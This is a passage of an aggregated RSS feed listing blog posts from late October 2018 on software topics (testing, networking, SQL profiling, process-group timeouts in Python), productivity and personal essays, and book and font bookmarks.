joking and I wouldn&amp;rsquo;t actually ask anyone to do this.)&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Tue, 30 Oct 2018 14:39:00 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2018/10/30/the-end-of-a-red-giant/</guid></item><item><title>Evolutive Integration Testing of HTTP APIs with OpenAPI</title><link>https://www.jviotti.com/2018/10/30/evolutive-integration-testing-of-http-apis-with-openapi.html</link><description>This article describes an experimental approach to describing HTTP API integration tests</description><author>Juan Cruz Viotti</author><pubDate>Tue, 30 Oct 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.jviotti.com/2018/10/30/evolutive-integration-testing-of-http-apis-with-openapi.html</guid></item><item><title>Networking Essentials: Content Distribution</title><link>https://www.swyx.io/networking-essentials-content-distribution-jag</link><description>&lt;p&gt;How CDNs, BitTorrent and Distributed Hash tables work&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Mon, 29 Oct 2018 06:46:33 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-content-distribution-jag</guid></item><item><title>The waves of compulsion</title><link>http://dimitarsimeonov.com/2018/10/29/the-waves-of-compulsion</link><description>&lt;p&gt;I was talking to someone who used to work in finance in New York. They
told me they left to write fiction. I thought it’s their dream to be a
writer. Then they also told me they don’t enjoy writing that much,
with all the editing and revising. Yet, they feel a strong compulsion
to write, to discover the characters.&lt;/p&gt;

&lt;p&gt;I thought I know what they were talking about. Years ago, I had became
a compulsive math solver. At the sight of an interesting math problem
I’m was a bull that sees the red cape and has to charge. I still
am. Few weeks ago I saw a thumbnail of a Youtube video which described
a problem, with the caption “You should be able solve this”. I
charged.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_1438EF59B059BB66AD0010E03415CBE23CBE337E760FDC70CBA22832E5112028_1540781259854_Screenshot+2018-10-24+21.08.03.png" /&gt;&lt;/p&gt;

&lt;p&gt;I have other compulsions too. I like to write, and to code. Both are
similar to math.  When it has been too long without one or the
other. I get restless.&lt;/p&gt;

&lt;p&gt;I cook compulsively. Over the last year I’ve gradually been perfecting
a whole wheat seeded sourdough.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_1438EF59B059BB66AD0010E03415CBE23CBE337E760FDC70CBA22832E5112028_1540781316996_IMG_5429.JPG" /&gt;&lt;/p&gt;

&lt;p&gt;And exercising. I am now addicted to it. I lift weights, train
Brazilian Jui Jitstu, bike long distances and occasionally try
surfing.&lt;/p&gt;

&lt;p&gt;These are all excellent compulsions. I call them compulsions as they
are stronger than a mere habit.&lt;/p&gt;

&lt;p&gt;But there is a dark side. I have disruptive compulsions. Wasting a lot of time on the internet. A lot. And procrastinating.  Clicking on another youtube video, I become passenger in my body, which is running on autopilot. It feels restraining, as I realize I it is doing something I don’t want to be doing, and yet I do not stop it. I can’t. I’m caught in the whitewater of a mighty breaker.&lt;/p&gt;

&lt;p&gt;These days most of my time is spend on my compulsions.&lt;/p&gt;

&lt;p&gt;I believe that to live a happy and rewarding life, I need to develop
the positive habits, and enhance my appreciation and
productivity. I’ve spent a lot of time trying to get myself to develop
beneficial habits, with moderate success.  Developing habits is
hard. It takes mountainfuls of energy and effort. Listening to
motivational podcasts. Struggling and fighting with myself.&lt;/p&gt;

&lt;p&gt;But developing compulsions is easier. All I need is to get hooked…
just get hooked and give in to it. With time, it becomes a habit too,
but it is stronger.
Getting hooked is like catching a wave. It takes initial effort to get into it, then it becomes really exciting, as the wave picks up. For a little while nothing else exists. And then, it’s all about keeping the balance and going with it.&lt;br /&gt;
Not that know much about surfing.&lt;/p&gt;

&lt;p&gt;A rogue wave of compulsion would pick me up and point me towards the
rocks, where it might smash me. When I find myself on it, try to
remember and look for any other waves that I could catch. They don’t
have to be the best waves. They just have to take me away from the
rocks, so I have a chance to catch an even better ones, to take me
where I want to go, and bring me closer to the people I love.&lt;/p&gt;</description><author>D13V</author><pubDate>Mon, 29 Oct 2018 04:50:34 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/10/29/the-waves-of-compulsion</guid></item><item><title>This is a great article and a great exploration.</title><link>https://olshansky.info/posts/2018-10-28-this-is-a-great-article-and-a-great-exploration/</link><description>&lt;p&gt;This is a great article and a great exploration. Your pros and cons list sums everything up, but I’m was curious you’d every leverage this Postgres features for a system you use for work that has to be maintable in the long-term?&lt;/p&gt;</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 29 Oct 2018 03:59:46 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/posts/2018-10-28-this-is-a-great-article-and-a-great-exploration/</guid></item><item><title>Making high-fidelity audio sound like it came through the phone</title><link>https://blog.jonlu.ca/posts/phone-calls</link><description/><author>JonLuca's Blog</author><pubDate>Mon, 29 Oct 2018 03:17:38 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/phone-calls</guid></item><item><title>Rust bookmarks</title><link>https://xenodium.com/rust-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://robert.kra.hn/posts/2021-02-07_rust-with-emacs/"&gt;Configuring Emacs for Rust development | Robert Krahn&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.snoyman.com/blog/2018/10/introducing-rust-crash-course"&gt;Introducing the Rust crash course&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item"&gt;Rust Language Cheat Sheet (cheats.rs) &lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 29 Oct 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/rust-bookmarks</guid></item><item><title>Networking Essentials: Rate Limiting and Traffic Shaping</title><link>https://www.swyx.io/networking-essentials-rate-limiting-and-traffic-shaping-43ii</link><description>&lt;p&gt;How Computer Networks shape, police, measure, and limit the traffic that flow across them.&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sun, 28 Oct 2018 23:19:10 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-rate-limiting-and-traffic-shaping-43ii</guid></item><item><title>Hangman in Haskell</title><link>https://www.anardil.net/2018/hangman-in-haskell.html</link><description>&lt;p&gt;Implementing a simple game in functional style&lt;/p&gt;</description><author>Anardil</author><pubDate>Sun, 28 Oct 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2018/hangman-in-haskell.html</guid></item><item><title>Visualizing SQL Plan Execution Time With FlameGraphs</title><link>https://tanelpoder.com/posts/visualizing-sql-plan-execution-time-with-flamegraphs/</link><description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Update: I wrote a follow-up article about &lt;a href="https://tanelpoder.com/posts/sql-plan-flamegraph-loop-row-counts/"&gt;adding Loop Counters and Row Counts to SQL Plan FlameGraphs&lt;/a&gt;. I also show some old examples of &lt;a href="https://tanelpoder.com/posts/sql-plan-flamegraph-loop-row-counts/#bookshelf-graphs"&gt;&amp;ldquo;Bookshelf Graph&amp;rdquo;&lt;/a&gt; visualizations there. Check it out after reading this post first.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id="introduction"&gt;Introduction&lt;/h4&gt;
&lt;p&gt;Brendan Gregg invented and popularized a way to profile &amp;amp; visualize program response time by sampling stack traces and using his &lt;a href="http://www.brendangregg.com/flamegraphs.html"&gt;FlameGraph&lt;/a&gt; concept &amp;amp; tools. This technique is a great way for visualizing metrics in &lt;em&gt;nested hierarchies&lt;/em&gt;, what stack-based program execution uses under the hood for invoking and tracking function calls. If you don&amp;rsquo;t know what FlameGraphs are, I suggest you read Brendan&amp;rsquo;s explanation first.&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Sun, 28 Oct 2018 07:26:02 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/posts/visualizing-sql-plan-execution-time-with-flamegraphs/</guid></item><item><title>Fonts bookmarks</title><link>https://xenodium.com/fonts-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.getthefont.com/"&gt;Get the Font&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rsms/inter"&gt;GitHub - rsms/inter: The Inter UI font family&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://input.fontbureau.com/"&gt;Input: Fonts for Code&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://x.com/Markbuschn/status/1866263306333229288"&gt;Need an industrial typeface like this, anyone?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://app.programmingfonts.org/"&gt;Programming Fonts - Test Drive&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.kutilek.de/sudo-font/"&gt;Sudo Coding Font | Jens Kutílek&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/IBM/plex"&gt;The package of IBM’s typeface, IBM Plex (font)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 28 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/fonts-bookmarks</guid></item><item><title>Essential Firefox Tweaks</title><link>https://thomashunter.name/posts/2018-10-28-essential-firefox-tweaks</link><author>Thomas Hunter II</author><pubDate>Sun, 28 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-10-28-essential-firefox-tweaks</guid></item><item><title>Generating Harry Potter Spell Names and Kelewan House Names</title><link>https://boyter.org/posts/generating-harry-potter-spells-and-kelewan-houses/</link><description>&lt;p&gt;Occasionally I try to branch out from working on &lt;a href="https://searchcode.com/"&gt;https://searchcode.com/&lt;/a&gt; &lt;a href="https://searchcodeserver.com/"&gt;https://searchcodeserver.com/&lt;/a&gt; or &lt;a href="https://github.com/boyter/scc"&gt;https://github.com/boyter/scc&lt;/a&gt; and find something that I find interesting to toy around with. Usually I go for something that will only take a few hours to play around with.&lt;/p&gt;
&lt;p&gt;I had recently re-read a book series I remember loving a while ago which is the Empire Trilogy of books by Feist and Wurts &lt;a href="https://en.wikipedia.org/wiki/Empire_Trilogy"&gt;https://en.wikipedia.org/wiki/Empire_Trilogy&lt;/a&gt; One of the things that stuck out to me as I was reading was that the names seemed to be a blend of Korean/Japanese/Chinese/Aztec and seems to follow a standard structure.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Sun, 28 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/generating-harry-potter-spells-and-kelewan-houses/</guid></item><item><title>The Party of Lincoln</title><link>https://xavd.id/blog/post/the-party-of-lincoln/</link><description>The GOP claims to be the party of Lincoln  Let's examine that claim.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/the-party-of-lincoln/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Sun, 28 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/the-party-of-lincoln/</guid></item><item><title>GraphQL Interfaces vs Unions</title><link>https://3059274a.danpalmer-me.pages.dev/2018-10-28-graphql-interfaces-vs-unions/</link><description>&lt;p&gt;GraphQL’s type system allows us to make many invalid states impossible to
represent, which improves the usability and reliability of our APIs. Two
features of the type system that contribute significantly to this are
Interfaces and Unions, however they can be used to address similar design
considerations so it’s not always obvious which is the right option.&lt;/p&gt;
&lt;p&gt;In this post we’ll look at several examples from the Thread API, and explore
whether using an interface or a union is the right option. It’s not always
obvious, and in some cases we got it wrong the first time, but after reading
this post we hope you’ll have more tools to hand to help you choose the option
that’s the best fit in each circumstance.&lt;/p&gt;</description><author>Dan Palmer</author><pubDate>Sun, 28 Oct 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://3059274a.danpalmer-me.pages.dev/2018-10-28-graphql-interfaces-vs-unions/</guid></item><item><title>FatturaElettronica for .NET v0.9 has been released</title><link>https://nicolaiarocci.com/fatturaelettronica-for-.net-v0.9-has-been-released/</link><description>&lt;p&gt;FatturaElettronica for .NET v0.9 has been released. The companion Extensions
package also hits v0.4.&lt;/p&gt;
&lt;p&gt;The main new feature is the &lt;code&gt;FromJson()&lt;/code&gt; extension method which allows, you
guessed it, for deserialization of a JSON stream into a &lt;code&gt;Fattura&lt;/code&gt; class
instance:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-c#"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span&gt;var&lt;/span&gt; fattura = Fattura.CreateInstance(Instance.Privati);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    fattura.FromJson(&lt;span style="font-weight: bold;"&gt;new&lt;/span&gt; JsonTextReader(&lt;span style="font-weight: bold;"&gt;new&lt;/span&gt; StringReader(json)));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="font-style: italic;"&gt;// or, if FatturaElettronica.Extensions v0.4 is being used:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    fattura.FromJson(json);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="font-style: italic;"&gt;// Invoice is now ready for inspection.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="font-weight: bold;"&gt;foreach&lt;/span&gt; (&lt;span&gt;var&lt;/span&gt; documento &lt;span style="font-weight: bold;"&gt;in&lt;/span&gt; fattura.Body)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        &lt;span&gt;var&lt;/span&gt; dati = documento.DatiGenerali.DatiGeneraliDocumento;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        Console.WriteLine(&lt;span style="font-style: italic;"&gt;$"fatt. num. {dati.Numero} del {dati.Data}"&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I should probably mention that FatturaElettronica.Core 0.4 is also out, and
that that is the actual place where all the new juice comes from, courtesy of
&lt;a href="https://github.com/emazv72"&gt;Emanuele Zavallone&lt;/a&gt;. You don&amp;rsquo;t have to directly install Core, it will be
pulled down for you by the main packages.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Sat, 27 Oct 2018 10:05:25 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/fatturaelettronica-for-.net-v0.9-has-been-released/</guid></item><item><title>Convert Markdown text to HTML and to plaintext in JavaScript</title><link>https://stribny.name/posts/convert-markdown-text-to-html-and-to-plaintext-in-javascript/</link><author>Posts by Petr Stribny</author><pubDate>Fri, 26 Oct 2018 22:34:37 GMT</pubDate><guid isPermaLink="true">https://stribny.name/posts/convert-markdown-text-to-html-and-to-plaintext-in-javascript/</guid></item><item><title>Trade wars will boost digital manufacturing. But not at home</title><link>https://stop.zona-m.net/2018/10/trade-wars-will-boost-digital-manufacturing.-but-not-at-home/</link><description>&lt;p&gt;Last summer, professor J. Pearce argued that &amp;ldquo;Trade wars will boost digital manufacturing - at consumers' own homes with personal 3D printers&amp;rdquo;. I hope that that 3D printing-enhanced boost happens, but I also believe, and hope, that it will not happen &lt;em&gt;where&lt;/em&gt; prof. Pearce says.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 26 Oct 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/10/trade-wars-will-boost-digital-manufacturing.-but-not-at-home/</guid></item><item><title>Dealing with Unreliable Software</title><link>https://bastibe.de/2018-10-26-dealing-with-unreliable-software.html</link><description>&lt;p&gt;About a year ago, I started working on a big comparison study between a bunch of scientific algorithms. Many of these have open-source software available, and I wanted to evaluate them with a large variety of input signals. The problem is, this is &lt;a href="https://bastibe.de/2017-05-14-scientific-code.html"&gt;scientific code&lt;/a&gt;, i.e. the worst code imaginable.&lt;/p&gt;
&lt;p&gt;Things this code has done to my computer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;it crashed, throwing an error, and shutting down nicely&lt;/li&gt;
&lt;li&gt;it crashed with a segfault, taking the owning process with it&lt;/li&gt;
&lt;li&gt;it crashed, leaving temporary files lying around&lt;/li&gt;
&lt;li&gt;it crashed, leaving zombie processes lying around&lt;/li&gt;
&lt;li&gt;it spin-locked, and never returned&lt;/li&gt;
&lt;li&gt;it spin-locked, and forked uncontrollably until all process decriptors were exhausted&lt;/li&gt;
&lt;li&gt;it spin-locked, and ate memory uncontrollably until all memory was consumed&lt;/li&gt;
&lt;li&gt;it crashed other, unrelated programs (no idea how it managed that)&lt;/li&gt;
&lt;li&gt;it corrupted the root file system (no idea how it managed that)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that the code did not do any of this intentionally. It was merely code written by non-expert programmers, the problems often a side effect of performance optimizations. The code mostly works fine if called only once or twice. My problems only become apparent if I ran it, say, a few hundred thousand times, with dozens of processes in parallel.&lt;/p&gt;
&lt;p&gt;So, how do you deal with this? Multi-threading is not an option, since a segfault would kill the whole program. So it has to be multi-processing. But all the multi-processing frameworks I know will lose all progress if one of the more sinister scenarios from the above list hard-crashed one or more of its processes. I needed a more robust solution.&lt;/p&gt;
&lt;p&gt;Basically, the only hope of survival at this point is the kernel. Only the kernel has enough power to rein in rogue processes, and deal with hard crashes. So in my &lt;a href="https://github.com/bastibe/runforrest"&gt;purpose-built multi-processing framework&lt;/a&gt;, every task runs in its own process, with inputs and outputs written to unique files. And crucially, if any task does not finish within a set amount of time, it and all of its children are killed.&lt;/p&gt;
&lt;p&gt;It took me quite a while to figure out how to do this, so here's the deal:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# start your process with a new process group:&lt;/span&gt;
&lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start_new_session&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# after a timeout, kill the whole process group:&lt;/span&gt;
&lt;span class="n"&gt;process_group_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getpgid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;killpg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;process_group_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SIGKILL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is the nuclear option. I tried &lt;code&gt;SIGTERM&lt;/code&gt; and &lt;code&gt;SIGHUP&lt;/code&gt; instead, but programs would happily ignore it. I tried killing or terminating only the &lt;code&gt;process&lt;/code&gt;, but that would leave zombie children. Sending &lt;code&gt;SIGKILL&lt;/code&gt; to the process group does not take prisoners. The processes do not get a chance to respond or clean up after themselves. But you know what, after months of dealing with this stuff, this is the first time that my experiments actually run reliably for a few days without crashing or exhausting some resource. If that's what it takes, so be it.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Fri, 26 Oct 2018 12:45:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-10-26-dealing-with-unreliable-software.html</guid></item><item><title>Playing Characters You Hate</title><link>https://benovermyer.com/blog/2018/10/playing-characters-you-hate/</link><description>&lt;p&gt;When you play a role-playing game, you adopt the persona of someone other than you. In American RPGs, this often just means that you're running a fictional version of yourself with a different race and a lot of swords, spells, or guns. But what if the character you play is intentionally your anathema? For example, what if you personally believe wholeheartedly in giving others second chances, but your character believes that if someone fails, they are irredeemably flawed? For your next character, instead of reaching for your comfort zone, try out something brand new. Imagine the group of people you most hate in the real world. Take the second worst after that, and build your character's defining traits based on them. This is not new advice. But here's where it gets interesting: Figure out why your character genuinely believes they have the best possible outlook. Play them &lt;em&gt;that&lt;/em&gt; way. Their defining traits that you hate so much may change in subtle ways. Or they might not. Either way, you might gain an interesting insight into the “other side.”&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Fri, 26 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/10/playing-characters-you-hate/</guid></item><item><title>CanvasRecorder.js</title><link>https://xosh.org/canvas-recorder/</link><description>I made some visualizations in HTML5 canvas and wanted to record them to display in blog. Could not find a simple way to do that. CCapture.js added too much performance overhead which made animations slow. CanvasRecorder.js uses built in MediaRecorder which is apparently the simplest and most effitient way to record whatever is happening on canvas.
NOTE: I have only tested it with Chrome and it should work fine with Firefox</description><author>XOSH.ORG</author><pubDate>Fri, 26 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xosh.org/canvas-recorder/</guid></item><item><title>Visualize sorting algorithms side by side</title><link>https://xosh.org/sorting-algorithms-visual-comparison/</link><description>A few weeks ago I found out this imgur gallery of sorting algorithms through a reddit post. The patterns which emerged while sorting random data looked very beautiful and amazing with the only catch that they were not interactive. You can not play with them. I decided make them in JavaScript to see what many different sorting algorithms look like, the patterns they create, while also learning them in the process.</description><author>XOSH.ORG</author><pubDate>Fri, 26 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xosh.org/sorting-algorithms-visual-comparison/</guid></item><item><title>Avoid multitasking to write better code</title><link>https://ntietz.com/blog/avoid-multitasking-write-better-code/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;Multitasking is incredibly alluring. Why go slowly, doing one thing at a time, if you could get a second thing done? Why not fill those five seconds while your code compiles with reading an article about the latest web frameworks?&lt;/p&gt;
&lt;p&gt;In fact, multitasking is hiding everywhere in your daily work. Any time you switch from one task to another with the intention of going right back, that counts as multitasking. You might do it without realizing, because...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;while your code is compiling, you switch to your browser to check Twitter.&lt;/li&gt;
&lt;li&gt;while you are coding, you check Slack briefly to see if anything is going on.&lt;/li&gt;
&lt;li&gt;during a meeting, you check Hacker News for anything interesting.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The siren song of multitasking is strong, but the costs are high. Computers are designed for multitasking and parallelism, but humans are not. For us, context switching is very expensive: every time you switch, you lose track of where you were in the previous task, and it can take you 15 minutes to get the state of your codebase back into your head when you switch back. Is it worth spending &lt;strong&gt;minutes&lt;/strong&gt; getting back to where you were just to save the mere &lt;strong&gt;seconds&lt;/strong&gt; you wait for something else to happen? It certainly is not.&lt;/p&gt;
&lt;p&gt;This constant context switching also drives down your quality. Every time you context switch, you drop ideas and you drop your focus and this means you cannot engage in very deep thought. You might be able to produce simple CRUD apps this way, but even then, you will miss subtleties in your data model or the domain you are solving for or in how your users will engage with the application. The quality of what you ship decreases when you work in short bursts.&lt;/p&gt;
&lt;p&gt;Instead of working in bursts, the way our phones have trained us to do, it is better to spend that time simply idle or bored (in shame, I admit that I looked at Twitter three times while writing this post). Boredom is critical to getting good work done, because the downtime lets your brain explore the non-obvious paths that you may not go down otherwise. This is how you find major bugs, deficiencies in your architecture, or unexpected user experience issues before you ship it.&lt;/p&gt;
&lt;p&gt;Multitasking will also make you ship your code late. When you provide estimates, those estimates are usually given optimistically. They are written with the assumption that the requirements are complete, no unexpected complexity is hiding in the problem, and most importantly, that your time will be allocated in sufficiently large chunks to the task. To see this is true, think of a programming task that would take you two hours to complete. How long would it take you if you can do it all in one shot? What about if you can only work in 30 minute chunks? What if you can only work in one minute chunks? If you are limited to one minute chunks and the task has any reasonable complexity, you might &lt;strong&gt;never&lt;/strong&gt; finish it.&lt;/p&gt;
&lt;p&gt;It is very rare that you truly need to multitask or switch between tasks rapidly. (If your job is one where you are expected to respond to instant messages instantly, I am truly sorry, and you need to know that there are better opportunities out there. I'm always happy to help point people toward better jobs.) In almost all of your daily work, you can afford to let things go. Those posts on Twitter will still be there when you are at a good stopping point. Those Slack messages will still be there when you are at a good stopping point with your code. That HackerNews post will still be there when your meeting is over. The task you are working on, or the peers you are working with, deserve your full attention, and giving it will let you ship higher quality software on a more reliable schedule.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Fri, 26 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/avoid-multitasking-write-better-code/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>How to save hundreds of dollars on theology books</title><link>https://honza.pokorny.ca/2018/10/how-to-save-hundreds-of-dollars-on-theology-books/</link><description>&lt;figure&gt;&lt;img src="https://honza.pokorny.ca/images/books.jpg" /&gt;
&lt;/figure&gt;

&lt;p&gt;We, as theology nerds, love our books.  Especially by authors who have long
passed on to glory.  And who wouldn&amp;rsquo;t want to save some money?&lt;/p&gt;
&lt;p&gt;Here is what you do:&lt;/p&gt;
&lt;h2 id="step-1-buy-an-amazon-kindle"&gt;Step 1: Buy an Amazon Kindle&lt;/h2&gt;
&lt;p&gt;The base model is $79.  You can find it on sale during the usual sale events.
Or, for a more comfortable reading experience, you can go for the Paperwhite,
which is about twice as much.  Both are excellent options.  The advantage of the
Paperwhite is the backlight, and the higher screen resolution.&lt;/p&gt;
&lt;h2 id="step-2-acquire-books"&gt;Step 2: Acquire books&lt;/h2&gt;
&lt;p&gt;Head over to Monergism&amp;rsquo;s &lt;a href="https://www.monergism.com/400-free-ebooks-listed-alphabetically-author"&gt;huge list&lt;/a&gt; of free theology ebooks.  Scroll through
the list, find something you like, download it to your Kindle.&lt;/p&gt;
&lt;h2 id="step-3-profit"&gt;Step 3: Profit&lt;/h2&gt;
&lt;p&gt;If there are 400 books, and if you downloaded each one, and if the printed paper
copy cost at least $1 (which it probably costs a &lt;em&gt;lot&lt;/em&gt; more), you are saving at
least $300.&lt;/p&gt;
&lt;p&gt;If we assume that each book on the list has an average price of $30, you are
saving about $12,000.&lt;/p&gt;</description><author>Honza Pokorný</author><pubDate>Fri, 26 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://honza.pokorny.ca/2018/10/how-to-save-hundreds-of-dollars-on-theology-books/</guid></item><item><title>Exploring calendar/booking apps in reactjs</title><link>https://yasha.solutions/exploring-calendar-booking-apps-in-reactjs/</link><description>Looking to build a calendar app in React.
You are not alone.
I did some research to see what the world published on this so far, and here is what I have found.
Room Booking System A room booking system built with MongoDB, Express, Node.js and ReactJS.
This one has a lot going on. But it’s interesting to have a look at it.
It seems like it’s a uni project or something… at least it’s organised as such.</description><author>Yasha Solutions</author><pubDate>Thu, 25 Oct 2018 13:06:28 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/exploring-calendar-booking-apps-in-reactjs/</guid></item><item><title>Geopolitics For Fun &amp;amp; Profit</title><link>https://blog.eutopian.io/geopolitics-for-fun-profit/</link><description>1750 words, 7 minutes. Sketch by Sir William Rothenstein, 1933.
&amp;ldquo;Who rules East Europe commands the Heartland. Who rules the Heartland commands the World-Island. Who rules the World-Island commands the world.&amp;quot;
- Sir Halford Mackinder, Democratic Ideals and Reality. 1919.
 Do you work in technology, are you building a company? You should think about how your product or service fits with the wider world because aligning with large movements is a winning system.</description><author>Privacy, Power, &amp;amp; Protection In The Cyber Century</author><pubDate>Thu, 25 Oct 2018 10:38:04 GMT</pubDate><guid isPermaLink="true">https://blog.eutopian.io/geopolitics-for-fun-profit/</guid></item><item><title>Mipmapping with Bidirectional Techniques</title><link>https://blog.yiningkarlli.com/2018/10/bidirectional-mipmap.html</link><description>&lt;p&gt;&lt;/p&gt;
&lt;h2 id="table-of-contents"&gt;Table of Contents&lt;/h2&gt;

&lt;div class="tableofcontents"&gt;
    &lt;div class="tableofcontents-row"&gt;
        &lt;div class="tableofcontents-column2"&gt;
            &lt;div class="tableofcontents-content"&gt;
                1. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-introduction"&gt;Introduction&lt;/a&gt;&lt;br /&gt;
                2. &lt;a href="/2018/10/bidirectional-mipmap.html#2018-10-25-texture-caches-and-mipmaps"&gt;Texture Caches and Mipmaps&lt;/a&gt;&lt;br /&gt;
